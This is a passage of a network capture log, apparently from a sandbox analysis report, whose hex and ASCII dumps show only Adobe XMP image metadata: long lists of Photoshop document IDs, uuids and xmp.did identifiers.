64 66 3a 6c 69 3e 45 31 46 34 33 39 45 42 31 33 45 38 45 41 39 35 33 35 43 37 42 32 42 36 44 38 30 46 32 31 34 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 37 34 46 37 37 37 35 37 43 32 31 46 43 38 39 35 31 36 39 
41 44 33 32 37 42 38 35 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 46 46 33 38 34 45 35 31 38 4
1 35 35 43 33 44 41 35 44 33 37 45 37 45 45 30 32 39 32 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 
32 30 37 31 42 33 45 42 38 42 42 38 33 32 35 41 30 45 30 38 35 36 36 32 44 37 35 30 42 31 35 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 45 32 30 41 31 44 44 41 35 32 41 30 46 
Data Ascii: C3BE59CCC1B899B6F795039D</rdf:li> <rdf:li>E1F439EB13E8EA9535C7B2B6D80F2145</rdf:li> <rdf
:li>E1F74F77757C21FC895169AD327B8533</rdf:li> <rdf:li>E1FF384E518A55C3DA5D37E7EE029203</rdf:li> <rdf
:li>E2071B3EB8BB8325A0E085662D750B15</rdf:li> <rdf:li>E20A1DDA52A0F

2022-08-11 03:42:55 UTC 5245 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 45 44 46 42 39 37 42 43 35 36 45 45 38 42 34 30 34 34 32 34 30 37 42 41 34 36 46 
41 33 41 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 30 35 42 34 42 35 39 41 39 32 41 34 31 30 
46 45 46 31 33 31 44 43 31 42 46 46 41 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 31 33 32 3
6 39 43 38 30 31 38 36 38 41 30 38 44 43 31 45 39 45 34 33 44 37 30 35 30 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 45 45 31 35 32 35 35 37 32 42 44 43 38 46 35 34 41 45 44 35 31 44 38 39 30 38 33 35 32 37 41 39 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 45 31 35 34 43 41 30 37 33 42 41 31 43 35 39 33 31 45 31 32 46 
34 33 33 36 30 44 37 34 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: <rdf:li>EDFB97BC56EE8B40442407BA46FA3A3F</rdf:li> <rdf:li>EE05B4B59A92A410FEF131DC1BFFAD
A5</rdf:li> <rdf:li>EE13269C801868A08DC1E9E43D70507A</rdf:li> <rdf:li>EE1525572BDC8F54AED51D89083527
A9</rdf:li> <rdf:li>EE154CA073BA1C5931E12F43360D7475</rdf:li> <rdf:

2022-08-11 03:42:55 UTC 5253 IN Data Raw: 64 66 3a 6c 69 3e 46 33 41 45 39 37 30 34 43 32 42 46 44 43 32 34 36 38 33 31 35 31 33 46 43 42 31 46 31 
45 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 42 44 38 46 44 45 41 44 43 30 39 35 39 35 43 36 
34 35 36 33 36 33 45 32 43 43 34 44 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 43 31 34 43 45 3
8 38 46 34 44 42 36 44 46 38 45 38 43 42 39 46 42 46 31 32 32 33 45 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 46 33 43 37 46 46 43 33 44 46 31 30 38 41 36 44 43 33 31 41 33 34 36 34 37 34 30 38 38 31 44 43 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 44 44 39 45 44 38 33 43 30 33 37 45 32 33 32 43 30 36 32 43 36 44 37 
43 32 37 33 41 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>F3AE9704C2BFDC246831513FCB1F1E5D</rdf:li> <rdf:li>F3BD8FDEADC09595C6456363E2CC4D8C
</rdf:li> <rdf:li>F3C14CE88F4DB6DF8E8CB9FBF1223E69</rdf:li> <rdf:li>F3C7FFC3DF108A6DC31A3464740881DC
</rdf:li> <rdf:li>F3DD9ED83C037E232C062C6D7C273A04</rdf:li> <rdf:li
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2022-08-11 03:42:55 UTC 5269 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 30 33 33 39 32 37 35 30 2d 38 33 38 37 2d 31 31 65 37 2d 61 35 36 34 2d 61 61 30 32 30 33 62 63 30 35 63 64 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 
34 65 31 34 31 33 66 2d 39 64 34 63 2d 31 31 64 63 2d 39 66 38 62 2d 62 32 64 30 66 61 39 36 36 64 65 37 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 35 36 31 
36 36 30 63 2d 30 62 61 64 2d 31 31 64 64 2d 62 66 34 35 2d 38 63 38 37 61 36 31 37 32 33 66 62 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
Data Ascii: /rdf:li> <rdf:li>adobe:docid:photoshop:03392750-8387-11e7-a564-aa0203bc05cd</rdf:li> <rdf:li>adobe
:docid:photoshop:04e1413f-9d4c-11dc-9f8b-b2d0fa966de7</rdf:li> <rdf:li>adobe:docid:photoshop:0561660c-0bad-11dd-
bf45-8c87a61723fb</rdf:li> <rdf:li>adobe:doci

2022-08-11 03:42:55 UTC 5273 IN Data Raw: 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 31 36 38 65 39 38 32 2d 30 62 33 66 2d 31 31 37 39 2d 61 64 
30 65 2d 61 30 38 63 63 38 30 32 63 32 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 
64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 31 62 63 36 32 32 34 2d 66 31 38 63 2d 31 31 64 61 2d 39 37 37 33 2d 
62 66 66 31 33 63 36 37 39 66 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 
64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 30 38 63 36 39 30 2d 31 39 64 63 2d 31 31 64 66 2d 61 66 65 37 2d 66 31 66 
37 66 30 35 62 36 34 32 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 31 32 32 61 36 62 38 33 2d 36 35 34 
Data Ascii: ocid:photoshop:1168e982-0b3f-1179-ad0e-a08cc802c212</rdf:li> <rdf:li>adobe:docid:photoshop:11bc6224-
f18c-11da-9773-bff13c679f17</rdf:li> <rdf:li>adobe:docid:photoshop:1208c690-19dc-11df-afe7-f1f7f05b642c</rdf:li> <rdf:
li>adobe:docid:photoshop:122a6b83-654

2022-08-11 03:42:55 UTC 5289 IN Data Raw: 39 64 65 30 61 36 62 36 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 31 39 62 63 63 61 66 2d 36 34 37 38 2d 31 31 37 39 2d 38 36 66 32 2d 61 
31 61 66 36 62 62 33 66 66 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
3a 70 68 6f 74 6f 73 68 6f 70 3a 34 31 63 39 62 38 37 35 2d 39 37 64 35 2d 31 31 64 39 2d 38 64 39 34 2d 66 63 62 32 
63 38 31 30 66 37 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 34 31 65 32 38 35 32 65 2d 36 36 37 33 2d 31 31 65 37 2d 61 36 63 65 2d 39 62 31 65 38 31 34 3
3 38 34 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 9de0a6b6a4</rdf:li> <rdf:li>adobe:docid:photoshop:419bccaf-6478-1179-86f2-a1af6bb3ff00</rdf:li> <r
df:li>adobe:docid:photoshop:41c9b875-97d5-11d9-8d94-fcb2c810f781</rdf:li> <rdf:li>adobe:docid:photoshop:41e2852e-
6673-11e7-a6ce-9b1e814384e5</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 5305 IN Data Raw: 6f 73 68 6f 70 3a 37 33 31 65 64 39 38 30 2d 34 30 35 30 2d 31 31 37 38 2d 61 34 37 33 2d 39 37 30 30 35 65 
39 33 37 63 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 37 33 33 36 32 65 61 61 2d 33 38 63 37 2d 31 31 65 36 2d 39 35 33 36 2d 63 65 65 36 38 66 31 63 65 
36 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 37 33 35 62 33 38 32 34 2d 62 30 37 62 2d 31 31 65 37 2d 62 37 39 61 2d 61 63 35 66 62 31 63 31 63 30 39 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 
37 33 61 31 61 30 39 32 2d 32 37 61 62 2d 31 31 65 38 2d 62 34 
Data Ascii: oshop:731ed980-4050-1178-a473-97005e937c10</rdf:li> <rdf:li>adobe:docid:photoshop:73362eaa-38c7-11
e6-9536-cee68f1ce62b</rdf:li> <rdf:li>adobe:docid:photoshop:735b3824-b07b-11e7-b79a-ac5fb1c1c094</rdf:li> <rdf
:li>adobe:docid:photoshop:73a1a092-27ab-11e8-b4

2022-08-11 03:42:55 UTC 5312 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 37 
30 62 39 65 32 64 2d 63 34 65 36 2d 31 31 37 39 2d 39 39 65 66 2d 62 31 62 33 30 30 35 61 34 38 36 65 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 37 31 66 64 
39 36 35 2d 35 39 32 64 2d 31 31 65 36 2d 39 36 31 38 2d 65 30 32 63 61 38 64 32 32 61 38 64 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 37 37 30 62 63 36 30 
2d 37 61 63 61 2d 31 31 64 36 2d 39 62 31 35 2d 38 65 31 64 31 61 37 32 33 31 32 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
Data Ascii: li> <rdf:li>adobe:docid:photoshop:870b9e2d-c4e6-1179-99ef-b1b3005a486e</rdf:li> <rdf:li>adobe:doci
d:photoshop:871fd965-592d-11e6-9618-e02ca8d22a8d</rdf:li> <rdf:li>adobe:docid:photoshop:8770bc60-7aca-11d6-9b1
5-8e1d1a72312c</rdf:li> <rdf:li>adobe:docid:pho

2022-08-11 03:42:55 UTC 5328 IN Data Raw: 36 61 66 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 35 61 61 39 34 39 2d 62 
36 61 65 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 37 32 37 62 32 38 2d 36 38 65 62 
2d 31 31 65 37 2d 39 30 37 37 2d 66 34 34 62 62 38 66 62 63 64 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 63 61 33 35 66 62 61 2d 61 31 32 65 2d 31 31 
37 37 2d 61 32 39 30 2d 38 37 66 33 66 35 30 61 33 32 66 63 3c 
Data Ascii: 6af-11e1-b6a6-d2e6740c37af</rdf:li> <rdf:li>adobe:docid:photoshop:bc5aa949-b6ae-11e1-b6a6-d2e6740c
37af</rdf:li> <rdf:li>adobe:docid:photoshop:bc727b28-68eb-11e7-9077-f44bb8fbcdc1</rdf:li> <rdf:li>adobe:docid:
photoshop:bca35fba-a12e-1177-a290-87f3f50a32fc<

2022-08-11 03:42:55 UTC 5344 IN Data Raw: 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 65 63 38 61 30 66 62 2d 62 32 
31 39 2d 31 31 64 37 2d 62 31 31 36 2d 61 34 32 31 39 34 66 61 62 66 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 65 63 38 61 30 66 64 2d 62 32 31 39 2d 
31 31 64 37 2d 62 31 31 36 2d 61 34 32 31 39 34 66 61 62 66 64 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 31 61 62 65 30 34 2d 35 65 63 38 2d 62 34 34 
30 2d 38 31 36 38 2d 65 64 32 65 66 61 39 32 63 63 38 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6
f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 66 
Data Ascii: li>adobe:docid:photoshop:eec8a0fb-b219-11d7-b116-a42194fabfd8</rdf:li> <rdf:li>adobe:docid:photosh
op:eec8a0fd-b219-11d7-b116-a42194fabfd8</rdf:li> <rdf:li>adobe:docid:photoshop:ef1abe04-5ec8-b440-8168-ed2efa9
2cc8b</rdf:li> <rdf:li>adobe:docid:photoshop:ef

2022-08-11 03:42:55 UTC 5352 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 38 44 37 42 34 45 45 34 46 36 37 44 45 31 31 
42 45 39 36 39 30 45 43 30 32 38 31 35 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
30 39 31 36 46 38 37 31 30 42 38 39 44 45 31 31 42 33 31 44 41 41 43 31 46 31 44 39 33 33 33 33 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 39 32 38 33 41 33 33 43 36 46 34 31 31 44 41 42 37 44 42 41 46 45 
43 45 30 46 38 42 33 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 39 41 30 35 34 33 
31 38 42 45 38 44 43 31 31 41 38 45 30 45 31 42 34 39 36 45 33 39 39 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 30 39 41 38 41 37 37 30 43 46 35 30 44 45 31 31 
Data Ascii: f:li> <rdf:li>uuid:08D7B4EE4F67DE11BE9690EC028159A9</rdf:li> <rdf:li>uuid:0916F8710B89DE
11B31DAAC1F1D93333</rdf:li> <rdf:li>uuid:09283A33C6F411DAB7DBAFECE0F8B3A0</rdf:li> <rdf:li>uuid:09A0
54318BE8DC11A8E0E1B496E39948</rdf:li> <rdf:li>uuid:09A8A770CF50DE11
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2022-08-11 03:42:55 UTC 5368 IN Data Raw: 30 39 43 39 36 44 33 34 37 36 42 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 
3a 34 31 36 41 43 36 43 45 37 46 41 34 31 31 44 41 41 45 42 37 42 30 31 36 32 36 36 31 41 36 31 39 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 31 39 36 31 35 45 38 46 39 43 42 44 41 31 31 38 36 38 38 42 44 
39 31 37 34 41 44 32 45 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 31 43 45 31 44 4
2 34 43 35 46 41 44 42 31 31 41 44 33 45 44 36 35 31 36 33 39 39 46 33 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 34 31 45 36 46 31 34 31 32 33 43 43 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 
35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
Data Ascii: 09C96D3476B5CF</rdf:li> <rdf:li>uuid:416AC6CE7FA411DAAEB7B0162661A619</rdf:li> <rdf:li>uuid:419615
E8F9CBDA118688BD9174AD2EFE</rdf:li> <rdf:li>uuid:41CE1DB4C5FADB11AD3ED6516399F31D</rdf:li> <rdf:li>u
uid:41E6F14123CCE011B3FED24831848F59</rdf:li> <rdf:li>uui

2022-08-11 03:42:55 UTC 5372 IN Data Raw: 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 44 46 32 31 46 39 41 31 38 35 
38 45 30 31 31 41 36 30 41 41 30 31 37 36 36 34 35 46 39 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
75 75 69 64 3a 34 45 32 35 45 34 33 43 43 43 44 46 44 42 31 31 39 35 39 46 45 35 36 44 34 32 44 31 42 39 36 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 45 32 38 43 44 30 42 45 35 42 30 44 45 31 31 41 43 
42 33 41 34 42 33 45 39 44 38 30 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 45 
32 43 36 44 43 39 38 32 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 45 38 36 33 43 44 42 34 32 
Data Ascii: 5A</rdf:li> <rdf:li>uuid:4DF21F9A1858E011A60AA0176645F9EE</rdf:li> <rdf:li>uuid:4E25E43CCCDFDB1195
9FE56D42D1B962</rdf:li> <rdf:li>uuid:4E28CD0BE5B0DE11ACB3A4B3E9D809A9</rdf:li> <rdf:li>uuid:4E2C6DC9
82F2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid:4E863CDB42

2022-08-11 03:42:55 UTC 5388 IN Data Raw: 37 35 44 35 41 32 33 36 36 45 32 31 31 38 32 46 36 44 34 33 43 30 41 39 35 46 45 39 32 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 30 42 42 37 36 39 39 39 37 30 44 45 31 31 39 43 30 33 43 37 31 
36 45 46 43 38 46 43 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 34 37 38 33 36 
33 38 42 43 35 44 46 31 31 38 31 44 41 38 46 38 37 32 46 33 43 32 46 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 75 75 69 64 3a 37 45 37 39 45 34 41 33 41 31 34 30 45 30 31 31 38 34 36 35 43 32 41 42 41 35 31 31 42 34 
38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 45 38 45 34 30 35 39 32 35 33 31 45 30 
31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 
Data Ascii: 75D5A2366E21182F6D43C0A95FE92</rdf:li> <rdf:li>uuid:7E0BB7699970DE119C03C716EFC8FC6F</rdf:li> 
<rdf:li>uuid:7E4783638BC5DF1181DA8F872F3C2FE6</rdf:li> <rdf:li>uuid:7E79E4A3A140E0118465C2ABA511B484</rd
f:li> <rdf:li>uuid:7E8E40592531E0119768DE2F52112F6B</rdf:

2022-08-11 03:42:55 UTC 5404 IN Data Raw: 31 31 41 42 30 39 39 33 45 35 39 34 45 44 31 41 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
75 75 69 64 3a 42 31 37 41 36 31 39 30 32 33 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 31 43 32 41 32 32 43 41 31 35 46 31 31 44 43 38 41 
37 34 38 45 36 39 36 30 38 32 37 43 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 3
1 38 32 43 33 38 41 36 39 38 44 44 31 31 41 31 42 45 44 37 36 46 33 36 33 33 41 39 42 41 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 32 33 36 34 35 32 30 44 35 42 30 44 46 31 31 38 38 44 31 46 30 44 42 42 
35 38 31 45 34 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 11AB0993E594ED1A7E</rdf:li> <rdf:li>uuid:B17A61902331E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:B1
C2A22CA15F11DC8A748E6960827CE4</rdf:li> <rdf:li>uuid:B2182C38A698DD11A1BED76F3633A9BA</rdf:li> <rdf:
li>uuid:B2364520D5B0DF1188D1F0DBB581E4AD</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 5412 IN Data Raw: 66 3a 6c 69 3e 75 75 69 64 3a 44 31 39 42 38 41 38 44 38 45 36 45 44 46 31 31 38 37 46 42 39 42 41 39 31 
39 32 43 35 35 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 31 44 45 35 35 30 39 38 
33 44 45 44 44 31 31 42 31 38 32 44 35 44 41 30 38 32 46 37 33 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 75 75 69 64 3a 44 31 45 35 35 34 46 39 34 39 41 31 44 45 31 31 42 33 35 34 46 46 34 33 46 43 34 33 39 34 37 38 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 31 46 31 36 44 33 32 45 45 30 43 31 31 44 44 
39 39 43 31 41 42 37 37 37 31 42 45 44 43 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
44 32 42 37 45 45 42 43 36 37 44 45 44 43 31 31 39 37 34 33 43 33 37 41 36 
Data Ascii: f:li>uuid:D19B8A8D8E6EDF1187FB9BA9192C5520</rdf:li> <rdf:li>uuid:D1DE550983DEDD11B182D5D
A082F73C9</rdf:li> <rdf:li>uuid:D1E554F949A1DE11B354FF43FC439478</rdf:li> <rdf:li>uuid:D1F16D32EE0C1
1DD99C1AB7771BEDC63</rdf:li> <rdf:li>uuid:D2B7EEBC67DEDC119743C37A6

2022-08-11 03:42:55 UTC 5428 IN Data Raw: 41 43 32 41 30 46 30 41 32 45 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 42 36 44 34 35 43 43 39 41 35 33 43 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 
31 46 42 36 45 33 41 31 44 34 37 38 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 43 30 31 30 34 32 34 41 45 32 42 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 
44 30 39 45 45 38 44 43 41 35 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: AC2A0F0A2EC6</rdf:li> <rdf:li>xmp.did:0180117407206811871FB6D45CC9A53C</rdf:li> <rdf:li>xmp.did:01
80117407206811871FB6E3A1D47845</rdf:li> <rdf:li>xmp.did:0180117407206811871FC010424AE2B0</rdf:li> <r
df:li>xmp.did:0180117407206811871FD09EE8DCA5B1</rdf:li> <

2022-08-11 03:42:55 UTC 5444 IN Data Raw: 34 37 44 45 41 31 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 
38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 32 31 39 43 31 36 36 36 39 37 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 30 
32 43 30 43 36 30 42 37 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 3
0 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 41 39 31 38 45 41 45 38 35 32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 35 44 45 
41 45 30 32 30 31 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: 47DEA1A7</rdf:li> <rdf:li>xmp.did:03801174072068119109E219C1666972</rdf:li> <rdf:li>xmp.did:038011
740720681192B0A02C0C60B70A</rdf:li> <rdf:li>xmp.did:038011740720681192B0A918EAE85274</rdf:li> <rdf:l
i>xmp.did:038011740720681192B0C5DEAE020159</rdf:li> <rdf:

2022-08-11 03:42:55 UTC 5452 IN Data Raw: 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 
43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 
32 30 36 38 31 31 41 42 30 38 44 34 44 42 33 44 36 36 32 35 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 
43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 
30 36 38 31 31 42 31 42 45 43 32 37 43 42 41 45 31 30 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 35 38 31 44 31 46 38 46 31 32 33 36 38 31 31 42 
Data Ascii: p.did:0580117407206811AB08CDB2E2E5BC33</rdf:li> <rdf:li>xmp.did:0580117407206811AB08D4DB
3D6625A9</rdf:li> <rdf:li>xmp.did:0580117407206811AB08EACFC69DF9C8</rdf:li> <rdf:li>xmp.did:05801174
07206811B1BEC27CBAE10711</rdf:li> <rdf:li>xmp.did:0581D1F8F1236811B
